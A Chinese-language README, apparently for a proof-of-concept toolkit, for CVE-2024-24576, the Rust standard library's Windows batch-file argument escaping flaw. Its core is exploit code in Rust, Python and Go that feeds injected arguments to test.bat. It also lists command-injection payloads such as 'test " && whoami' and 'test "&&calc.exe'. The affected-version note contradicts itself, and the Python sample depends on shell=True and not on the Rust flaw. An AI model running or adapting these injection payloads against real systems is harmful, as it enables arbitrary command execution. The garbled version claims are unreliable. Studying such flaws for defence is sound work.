CVE-2024-24576 漏洞利用与测试工具集
CVE-2024-24576 漏洞利用与测试工具集
本项目提供了针对CVE-2024-24576安全漏洞的概念验证（PoC）代码，涵盖Rust、Python和Go三种编程语言。该漏洞存在于 Rust 标准库在 Windows 平台上处理批处理文件参数时的转义逻辑缺陷，可能导致任意命令执行。
功能特性
- 多语言 PoC 实现：提供 Rust、Python、Go 三种语言的漏洞测试代码
- 命令注入测试：演示通过恶意构造的参数实现命令注入攻击
- 批处理文件调用模拟：展示调用
test.bat批处理文件时的安全风险 - Rust 特有漏洞对比：特别对比 Rust 中
Command::arg与Command::args两种 API 的注入表现 - 安全研究辅助：帮助开发者理解漏洞原理并进行安全测试
安装指南
系统要求
- Windows 操作系统（漏洞特定平台）
- 对应语言的运行时环境
Rust 版本
# 安装 Rust（如未安装）curl--proto'=https'--tlsv1.2-sSfhttps://sh.rustup.rs|sh# 编译运行rustc exploit.rs ./exploit.exePython 版本
# 无需额外依赖，使用标准库python exploit.pyGo 版本
# 安装 Go（如未安装）# 下载地址：https://golang.org/dl/# 编译运行go build exploit.go exploit.exe使用说明
基础使用
- 准备测试批处理文件：在项目根目录创建
test.bat文件
@echo off echo Argument received: %1- 运行 PoC 程序：
Rust 版本（自动执行多个预定义 Payload）：
cargorun# 或./exploit.exe# 程序会自动测试多个 Payload，并等待用户输入额外 PayloadPython 版本（交互式输入）：
python exploit.py Enter Payload:test&&whoamiGo 版本（交互式输入）：
go run exploit.go Enter parameter1:test&&whoami典型测试 Payload 示例
# 基础测试test# 命令注入 - 执行 whoamitest&&whoami# 命令注入 - 带引号绕过test" && whoami # 命令注入 - Rust 版本特殊构造 test "&&calc.exeRust 版本特殊说明
Rust 版本会依次测试：
- 预定义的 3 个 Payload
- 用户输入的 Payload（自动包装为
test " && {input}格式） - 分别测试
Command::arg和Command::args两种 API
核心代码
Rust 漏洞利用核心代码
usestd::process::Command;usestd::io;fnmain(){// 存储测试 Payload 的向量letmutpayloads=vec!["test",r#"test && whoami"#,r#"test " && whoami"#,];// 获取用户输入并添加到 Payload 向量println!("Enter payload:");letmutinput=String::new();io::stdin().read_line(&mutinput).expect("Failed to read line");letpayload=input.trim();letcommand=format!(r#"test " && {}"#,payload);payloads.push(&command);// 测试 Command::arg APIprintln!("Command Injection on Command::arg");forpayloadin&payloads{letoutput=Command::new("./test.bat").arg(payload).output().expect("Failed to execute command");println!("Output for payload '{}':\n{}",payload,String::from_utf8_lossy(&output.stdout));}// 测试 Command::args APIprintln!("Command Injection on Command::args");forpayloadin&payloads{letoutput=Command::new("./test.bat").args(&[payload]).output().expect("Failed to execute command");println!("Output for payload '{}':\n{}",payload,String::from_utf8_lossy(&output.stdout));}}Python 漏洞利用核心代码
importsubprocessdefrun_batch_file(batch_file_path,second_argument):""" 执行批处理文件并传递参数 存在命令注入风险：参数未经过滤直接传递给 shell """try:# shell=True 会调用 cmd.exe，导致参数被解析执行subprocess.run([batch_file_path,second_argument],shell=True,check=True)exceptsubprocess.CalledProcessErrorase:print(f"Error occurred while running the batch file:{e}")exceptFileNotFoundError:print(f"Batch file '{batch_file_path}' not found.")# 示例使用：从用户输入获取恶意参数batch_file_path="test.bat"second_argument=input("Enter Payload: ")run_batch_file(batch_file_path,second_argument)Go 漏洞利用核心代码
packagemainimport("bufio""fmt""os""os/exec""strings")funcmain(){batchFile:=`test.bat`// 获取用户输入的参数reader:=bufio.NewReader(os.Stdin)fmt.Print("Enter parameter 1: ")param1,_:=reader.ReadString('\n')param1=strings.TrimSpace(param1)// 构造命令并执行parameters:=[]string{param1}cmd:=exec.Command(batchFile,parameters...)// 设置标准输出和错误输出cmd.Stdout=os.Stdout cmd.Stderr=os.Stderr// 执行命令（存在注入风险）err:=cmd.Run()iferr!=nil{fmt.Println("Error:",err)return}fmt.Println("Batch file executed successfully.")}漏洞说明
根据 Rust 安全公告 CVE-2024-24576，Rust 标准库在 Windows 平台上调用批处理文件时，参数转义逻辑不完整，可能导致恶意参数绕过转义机制并执行任意 shell 命令。
- 影响版本：Rust 1.77.2 及之前版本
- 修复版本：Rust 1.77.2（部分修复）、1.78.0（完全修复）
- 风险 API：
Command::arg和Command::args
6HFtX5dABrKlqXeO5PUv/0utpqH8CghdzjK93UH3cmiU5I9Lm+I0lAqOHt1e1fxf
更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）